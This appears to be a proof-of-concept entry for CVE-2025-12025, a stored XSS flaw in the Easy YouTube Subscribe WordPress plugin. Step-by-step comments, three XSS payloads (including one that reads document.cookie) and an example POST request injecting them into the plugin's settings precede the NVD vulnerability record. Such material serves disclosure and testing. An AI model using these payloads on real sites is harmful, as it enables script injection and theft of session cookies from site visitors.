CVE-2025-12025

<!-- CVE-2025-12025 PoC: Stored XSS in WordPress YouTube Subscribe Plugin --> <!-- Requirement: Administrator privileges on WordPress site --> <!-- Target: Easy YouTube Subscribe plugin <= 3.0.0 --> <!-- Step 1: Login as Administrator --> <!-- Step 2: Navigate to plugin settings page --> <!-- Step 3: Inject XSS payload in any settings field --> <!-- Example XSS payloads --> <script>alert(document.cookie)</script> <img src=x onerror=alert('XSS')> <svg onload=alert(document.domain)> <!-- Example POST request to inject payload --> <!-- POST /wp-admin/admin.php?page=youtube-subscribe-settings --> <!-- _wpnonce=xxx youtube_channel_id=<script>alert(document.cookie)</script> youtube_layout=<script>alert(document.cookie)</script> -->

{"cve": {"id": "CVE-2025-12025", "sourceIdentifier": "[email protected]", "published": "2025-11-25T08:15:47.507", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The YouTube Subscribe plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/easy-youtube-subscribe/tags/3.0.0/includes/sm-youtube-subscription-shortcode.php#L242", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/easy-youtube-subscribe/tags/3.0.0/includes/sm-youtube-subscription-shortcode.php#L246", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/easy-youtube-subscribe/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9996cdc7-4d97-4b27-b697-09bbdbcd865d?source=cve", "source": "[email protected]"}]}}